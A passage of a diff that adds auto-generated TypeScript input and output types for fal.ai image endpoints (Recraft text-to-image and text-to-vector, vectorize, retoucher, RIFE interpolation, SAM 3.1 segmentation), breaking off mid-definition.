@example landscape_16_9 + */ + image_size?: ImageSizeF8505D18 | InputFalAiRecraftV41TextToImageImageSizeKey +} + +export type FileE8F68C25 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiRecraftV41TextToImage = { + /** + * @example [{"content_type":"image/webp","url":"https://storage.googleapis.com/falserverless/example_outputs/recraft-v4/standard-output.webp","file_name":"image.webp","file_size":272628}] + * @type array + */ + images: FileE8F68C25[] +} + +export type RGBColor4814Bb06 = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number +} + +export type ImageSize94D8Ede6 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiRecraftV41TextToVectorImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiRecraftV41TextToVectorImageSizeKey = + (typeof inputFalAiRecraftV41TextToVectorImageSize)[keyof typeof inputFalAiRecraftV41TextToVectorImageSize] + +export type InputFalAiRecraftV41TextToVector = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColor4814Bb06[] + /** + * @minLength 1 + * @maxLength 10000 + * @example a cute character fox with cool clothes, 3d flat color, design + * @type string + */ + prompt: string + /** + * @description The preferable background color of the generated images. + */ + background_color?: RGBColor4814Bb06 | null + /** + * @default square_hd + * @example landscape_16_9 + */ + image_size?: ImageSize94D8Ede6 | InputFalAiRecraftV41TextToVectorImageSizeKey +} + +export type File480C92Cd = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiRecraftV41TextToVector = { + /** + * @example [{"content_type":"image/svg+xml","url":"https://v3b.fal.media/files/b/0a8ee4fd/sw8YD36iblpO64JeQZEDt_image.svg","file_name":"image.svg","file_size":1722022}] + * @type array + */ + images: File480C92Cd[] +} + +export type RGBColorEf3Ef6E7 = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number +} + +export type ImageSize33C725C7 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiRecraftV41UtilityProTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiRecraftV41UtilityProTextToImageImageSizeKey = + (typeof inputFalAiRecraftV41UtilityProTextToImageImageSize)[keyof typeof inputFalAiRecraftV41UtilityProTextToImageImageSize] + +export type InputFalAiRecraftV41UtilityProTextToImage = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColorEf3Ef6E7[] + /** + * @minLength 1 + * @maxLength 10000 + * @example Crash zoom frozen at the moment of impact as a kingfisher breaks the surface of a pond, water crown splash forming a perfect circle, the bird's beak piercing the mirror-like surface, fish visible just below, frozen at 1/8000s, 400mm super telephoto with 2x extender, ring flash fill, pre-dawn blue light with single shaft of gold, BBC Frozen Planet production quality + * @type string + */ + prompt: string + /** + * @description The preferable background color of the generated images. + */ + background_color?: RGBColorEf3Ef6E7 | null + /** + * @default square_hd + * @example landscape_16_9 + */ + image_size?: + | ImageSize33C725C7 + | InputFalAiRecraftV41UtilityProTextToImageImageSizeKey +} + +export type FileE59B4792 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiRecraftV41UtilityProTextToImage = { + /** + * @example [{"content_type":"image/webp","url":"https://storage.googleapis.com/falserverless/example_outputs/recraft-v4/pro-output.webp","file_name":"image.webp","file_size":1949504}] + * @type array + */ + images: FileE59B4792[] +} + +export type RGBColor6457153B = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number +} + +export type ImageSizeAcb170Db = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiRecraftV41UtilityTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiRecraftV41UtilityTextToImageImageSizeKey = + (typeof inputFalAiRecraftV41UtilityTextToImageImageSize)[keyof typeof inputFalAiRecraftV41UtilityTextToImageImageSize] + +export type InputFalAiRecraftV41UtilityTextToImage = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColor6457153B[] + /** + * @minLength 1 + * @maxLength 10000 + * @example Tilt-shift miniature effect on a real Portuguese fishing village at golden hour, colorful boats in the harbor appearing toy-like, selective focus band across the middle, saturated primary colors of blue red and yellow boats against white buildings, 90mm tilt-shift lens, the familiar made fantastical, Wes Anderson color sensibility + * @type string + */ + prompt: string + /** + * @description The preferable background color of the generated images. + */ + background_color?: RGBColor6457153B | null + /** + * @default square_hd + * @example landscape_16_9 + */ + image_size?: + | ImageSizeAcb170Db + | InputFalAiRecraftV41UtilityTextToImageImageSizeKey +} + +export type File7D9F6Ec6 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiRecraftV41UtilityTextToImage = { + /** + * @example [{"content_type":"image/webp","url":"https://storage.googleapis.com/falserverless/example_outputs/recraft-v4/standard-output.webp","file_name":"image.webp","file_size":272628}] + * @type array + */ + images: File7D9F6Ec6[] +} + +export type RGBColorC06D3Cbd = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number +} + +export type ImageSize96C04A5D = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiRecraftV4ProTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiRecraftV4ProTextToImageImageSizeKey = + (typeof inputFalAiRecraftV4ProTextToImageImageSize)[keyof typeof inputFalAiRecraftV4ProTextToImageImageSize] + +export type InputFalAiRecraftV4ProTextToImage = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColorC06D3Cbd[] + /** + * @minLength 1 + * @maxLength 10000 + * @example Crash zoom frozen at the moment of impact as a kingfisher breaks the surface of a pond, water crown splash forming a perfect circle, the bird's beak piercing the mirror-like surface, fish visible just below, frozen at 1/8000s, 400mm super telephoto with 2x extender, ring flash fill, pre-dawn blue light with single shaft of gold, BBC Frozen Planet production quality + * @type string + */ + prompt: string + /** + * @description The preferable background color of the generated images. + */ + background_color?: RGBColorC06D3Cbd | null + /** + * @default square_hd + * @example landscape_16_9 + */ + image_size?: ImageSize96C04A5D | InputFalAiRecraftV4ProTextToImageImageSizeKey +} + +export type File99B60E84 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiRecraftV4ProTextToImage = { + /** + * @example [{"content_type":"image/webp","url":"https://storage.googleapis.com/falserverless/example_outputs/recraft-v4/pro-output.webp","file_name":"image.webp","file_size":1949504}] + * @type array + */ + images: File99B60E84[] +} + +export type RGBColor9D0E6725 = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number +} + +export type ImageSize7B23B145 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiRecraftV4ProTextToVectorImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiRecraftV4ProTextToVectorImageSizeKey = + (typeof inputFalAiRecraftV4ProTextToVectorImageSize)[keyof typeof inputFalAiRecraftV4ProTextToVectorImageSize] + +export type InputFalAiRecraftV4ProTextToVector = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColor9D0E6725[] + /** + * @minLength 1 + * @maxLength 10000 + * @example a cute character panda with cool clothes, 3d flat color, design + * @type string + */ + prompt: string + /** + * @description The preferable background color of the generated images. + */ + background_color?: RGBColor9D0E6725 | null + /** + * @default square_hd + * @example landscape_16_9 + */ + image_size?: + | ImageSize7B23B145 + | InputFalAiRecraftV4ProTextToVectorImageSizeKey +} + +export type File0A767452 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiRecraftV4ProTextToVector = { + /** + * @example [{"content_type":"image/svg+xml","url":"https://v3b.fal.media/files/b/0a8ee4de/lmXuapOPV309mE533swE0_image.svg","file_name":"image.svg","file_size":1818794}] + * @type array + */ + images: File0A767452[] +} + +export type RGBColorA3C6D59D = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number +} + +export type ImageSizeCd36C77D = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiRecraftV4TextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiRecraftV4TextToImageImageSizeKey = + (typeof inputFalAiRecraftV4TextToImageImageSize)[keyof typeof inputFalAiRecraftV4TextToImageImageSize] + +export type InputFalAiRecraftV4TextToImage = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColorA3C6D59D[] + /** + * @minLength 1 + * @maxLength 10000 + * @example Tilt-shift miniature effect on a real Portuguese fishing village at golden hour, colorful boats in the harbor appearing toy-like, selective focus band across the middle, saturated primary colors of blue red and yellow boats against white buildings, 90mm tilt-shift lens, the familiar made fantastical, Wes Anderson color sensibility + * @type string + */ + prompt: string + /** + * @description The preferable background color of the generated images. + */ + background_color?: RGBColorA3C6D59D | null + /** + * @default square_hd + * @example landscape_16_9 + */ + image_size?: ImageSizeCd36C77D | InputFalAiRecraftV4TextToImageImageSizeKey +} + +export type File5Abf25D4 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiRecraftV4TextToImage = { + /** + * @example [{"content_type":"image/webp","url":"https://storage.googleapis.com/falserverless/example_outputs/recraft-v4/standard-output.webp","file_name":"image.webp","file_size":272628}] + * @type array + */ + images: File5Abf25D4[] +} + +export type RGBColor4A53Ac85 = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number +} + +export type ImageSizeE4Eed5E5 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiRecraftV4TextToVectorImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiRecraftV4TextToVectorImageSizeKey = + (typeof inputFalAiRecraftV4TextToVectorImageSize)[keyof typeof inputFalAiRecraftV4TextToVectorImageSize] + +export type InputFalAiRecraftV4TextToVector = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColor4A53Ac85[] + /** + * @minLength 1 + * @maxLength 10000 + * @example a cute character fox with cool clothes, 3d flat color, design + * @type string + */ + prompt: string + /** + * @description The preferable background color of the generated images. + */ + background_color?: RGBColor4A53Ac85 | null + /** + * @default square_hd + * @example landscape_16_9 + */ + image_size?: ImageSizeE4Eed5E5 | InputFalAiRecraftV4TextToVectorImageSizeKey +} + +export type File58984522 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiRecraftV4TextToVector = { + /** + * @example [{"content_type":"image/svg+xml","url":"https://v3b.fal.media/files/b/0a8ee4fd/sw8YD36iblpO64JeQZEDt_image.svg","file_name":"image.svg","file_size":1722022}] + * @type array + */ + images: File58984522[] +} + +export type InputFalAiRecraftVectorize = { + /** + * @description The URL of the image to be vectorized. Must be in PNG, JPG or WEBP format, less than 5 MB in size, have resolution less than 16 MP and max dimension less than 4096 pixels, min dimension more than 256 pixels. + * @example https://storage.googleapis.com/falserverless/example_inputs/man_wave.png + * @type string + */ + image_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileDac4A1F3 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiRecraftVectorize = { + /** + * @description The vectorized image. + * @example {"file_name":"image.svg","file_size":85336,"content_type":"image/svg+xml","url":"https://v3.fal.media/files/koala/pUQbC18DsP4KxcIBA53y2_image.svg"} + * @type object + */ + image: FileDac4A1F3 +} + +export type InputFalAiRetoucher = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URL of the image to be retouched. + * @example https://storage.googleapis.com/falserverless/model_tests/retoucher/Dalton-Meereskosmetik-Magazin-Pickelguide-Model_1.resized.jpg + * @type string + */ + image_url: string + /** + * @description Seed for reproducibility. Different seeds will make slightly different results. + */ + seed?: number | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image1Fbfd27C = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiRetoucher = { + /** + * @description The generated image file info. + * @example {"url":"https://storage.googleapis.com/falserverless/model_tests/retoucher/retoucher_example_output.png"} + * @type object + */ + image: Image1Fbfd27C + /** + * @description The seed used for the generation. + * @type integer + */ + seed: number +} + +export const inputFalAiRifeOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', +} as const + +export type InputFalAiRifeOutputFormatEnumKey = + (typeof inputFalAiRifeOutputFormatEnum)[keyof typeof inputFalAiRifeOutputFormatEnum] + +export const inputFalAiRifeOutputTypeEnum = { + images: 'images', + video: 'video', +} as const + +export type InputFalAiRifeOutputTypeEnumKey = + (typeof inputFalAiRifeOutputTypeEnum)[keyof typeof inputFalAiRifeOutputTypeEnum] + +export type InputFalAiRife = { + /** + * @description The format of the output images. Only applicable if output_type is 'images'. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiRifeOutputFormatEnumKey + /** + * @description Frames per second for the output video. Only applicable if output_type is 'video'. + * @minimum 1 + * @maximum 60 + * @default 8 + * @type integer | undefined + */ + fps?: number + /** + * @description The number of frames to generate between the input images. + * @minimum 1 + * @maximum 64 + * @default 1 + * @type integer | undefined + */ + num_frames?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The type of output to generate; either individual images or a video. + * @default 'images' + * @type string | undefined + */ + output_type?: InputFalAiRifeOutputTypeEnumKey + /** + * @description The URL of the second image to use as the ending point for interpolation. + * @example https://storage.googleapis.com/falserverless/example_inputs/interpolate-end-frame.png + * @type string + */ + end_image_url: string + /** + * @description The URL of the first image to use as the starting point for interpolation. + * @example https://storage.googleapis.com/falserverless/example_inputs/interpolate-start-frame.png + * @type string + */ + start_image_url: string + /** + * @description Whether to include the start image in the output. + * @default false + * @type boolean | undefined + */ + include_start?: boolean + /** + * @description Whether to include the end image in the output. + * @default false + * @type boolean | undefined + */ + include_end?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageDa9B1Acd = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type File88Fbc804 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiRife = { + /** + * @description The generated frames as individual images. + * @default [] + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/rife-mid-frame.jpeg"}] + * @type array | undefined + */ + images?: ImageDa9B1Acd[] + /** + * @description The generated video file, if output_type is 'video'. + */ + video?: File88Fbc804 | null +} + +export const pointPromptLabel = { + '0': 0, + '1': 1, +} as const + +export type PointPromptLabelKey = + (typeof pointPromptLabel)[keyof typeof pointPromptLabel] + +export type PointPrompt = { + /** + * @description Optional object identifier. Prompts sharing an object id refine the same object. When a text prompt is also given, the id selects which detected object the points refine. + */ + object_id?: number | null + /** + * @description X Coordinate of the prompt + */ + x?: number | null + /** + * @description 1 for foreground, 0 for background + */ + label?: PointPromptLabelKey | null + /** + * @description The frame index to interact with. + */ + frame_index?: number | null + /** + * @description Y Coordinate of the prompt + */ + y?: number | null +} + +export type BoxPrompt = { + /** + * @description Optional object identifier. Boxes sharing an object id refine the same object. + */ + object_id?: number | null + /** + * @description X Min Coordinate of the box + */ + x_min?: number | null + /** + * @description The frame index to interact with. + */ + frame_index?: number | null + /** + * @description Y Min Coordinate of the box + */ + y_min?: number | null + /** + * @description X Max Coordinate of the box + */ + x_max?: number | null + /** + * @description Y Max Coordinate of the box + */ + y_max?: number | null +} + +export const inputFalAiSam31ImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiSam31ImageOutputFormatEnumKey = + (typeof inputFalAiSam31ImageOutputFormatEnum)[keyof typeof inputFalAiSam31ImageOutputFormatEnum] + +export type InputFalAiSam31Image = { + /** + * @description If True, upload and return multiple generated masks as defined by `max_masks`. + * @default false + * @type boolean | undefined + */ + return_multiple_masks?: boolean + /** + * @description Whether to include bounding boxes for each mask (when available). + * @default false + * @type boolean | undefined + */ + include_boxes?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiSam31ImageOutputFormatEnumKey + /** + * @description List of point prompts + * @default [] + * @type array | undefined + */ + point_prompts?: PointPrompt[] + /** + * @description URL of the image to be segmented + * @example https://raw.githubusercontent.com/facebookresearch/segment-anything-2/main/notebooks/images/truck.jpg + * @type string + */ + image_url: string + /** + * @description Box prompt coordinates (x_min, y_min, x_max, y_max). Multiple boxes supported - use object_id to group boxes for the same object or leave empty for separate objects. + * @default [] + * @type array | undefined + */ + box_prompts?: BoxPrompt[] + /** + * @description Whether to include mask confidence scores. + * @default false + * @type boolean | undefined + */ + include_scores?: boolean + /** + * @description Maximum number of masks to return when `return_multiple_masks` is enabled. + * @minimum 1 + * @maximum 32 + * @default 3 + * @type integer | undefined + */ + max_masks?: number + /** + * @description Apply the mask on the image. + * @default true + * @type boolean | undefined + */ + apply_mask?: boolean + /** + * @description If True, the media will be returned as a data URI. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Text prompt for segmentation + * @default 'wheel' + * @example wheel + * @example person + * @example car + * @type string | undefined + */ + prompt?: string +} + +export type MaskMetadata = { + /** + * @description Score for this mask. + */ + score?: number | null + /** + * @description Index of the mask inside the model output. + * @type integer + */ + index: number + /** + * @description Bounding box for the mask in normalized cxcywh coordinates. + */ + box?: number[] | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image195307Ec = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiSam31Image = { + /** + * @description Per-mask normalized bounding boxes [cx, cy, w, h] when requested. + */ + boxes?: (number[] | null)[] | null + /** + * @description Per-mask metadata including scores and boxes. + */ + metadata?: MaskMetadata[] | null + /** + * @description Per-mask confidence scores when requested. + */ + scores?: (number | null)[] | null + /** + * @description Segmented mask images. + * @type array + */ + masks: Image195307Ec[] + /** + * @description Primary segmented mask preview. + */ + image?: Image195307Ec | null +} + +export const inputFalAiSam31ImageRleOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiSam31ImageRleOutputFormatEnumKey = + (typeof inputFalAiSam31ImageRleOutputFormatEnum)[keyof typeof inputFalAiSam31ImageRleOutputFormatEnum] + +export type InputFalAiSam31ImageRle = { + /** + * @description If True, upload and return multiple generated masks as defined by `max_masks`. + * @default false + * @type boolean | undefined + */ + return_multiple_masks?: boolean + /** + * @description Whether to include bounding boxes for each mask (when available). + * @default false + * @type boolean | undefined + */ + include_boxes?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiSam31ImageRleOutputFormatEnumKey + /** + * @description List of point prompts + * @default [] + * @type array | undefined + */ + point_prompts?: PointPrompt[] + /** + * @description URL of the image to be segmented + * @example https://raw.githubusercontent.com/facebookresearch/segment-anything-2/main/notebooks/images/truck.jpg + * @type string + */ + image_url: string + /** + * @description Box prompt coordinates (x_min, y_min, x_max, y_max). Multiple boxes supported - use object_id to group boxes for the same object or leave empty for separate objects. + * @default [] + * @type array | undefined + */ + box_prompts?: BoxPrompt[] + /** + * @description Whether to include mask confidence scores. + * @default false + * @type boolean | undefined + */ + include_scores?: boolean + /** + * @description Maximum number of masks to return when `return_multiple_masks` is enabled. + * @minimum 1 + * @maximum 32 + * @default 3 + * @type integer | undefined + */ + max_masks?: number + /** + * @description Apply the mask on the image. + * @default true + * @type boolean | undefined + */ + apply_mask?: boolean + /** + * @description If True, the media will be returned as a data URI. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Text prompt for segmentation + * @default 'wheel' + * @example wheel + * @example person + * @example car + * @type string | undefined + */ + prompt?: string +} + +export type File288A944F = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiSam31ImageRle = { + /** + * @description Zip file containing per-frame bounding box overlays. + */ + boundingbox_frames_zip?: File288A944F | null + /** + * @description Per-mask metadata when multiple RLEs are returned. + */ + metadata?: MaskMetadata[] | null + /** + * @description Per-mask normalized bounding boxes [cx, cy, w, h] when requested. + */ + boxes?: (number[] | null)[] | null + /** + * @description Per-mask confidence scores when requested. + */ + scores?: (number | null)[] | null + /** + * @description Run Length Encoding of the mask. + */ + rle: string | string[] +} + +export const pointPromptB305Bee1Label = { + '0': 0, + '1': 1, +} as const + +export type PointPromptB305Bee1LabelKey = + (typeof pointPromptB305Bee1Label)[keyof typeof pointPromptB305Bee1Label] + +export type PointPromptB305Bee1 = { + /** + * @description Y Coordinate of the prompt + */ + y?: number | 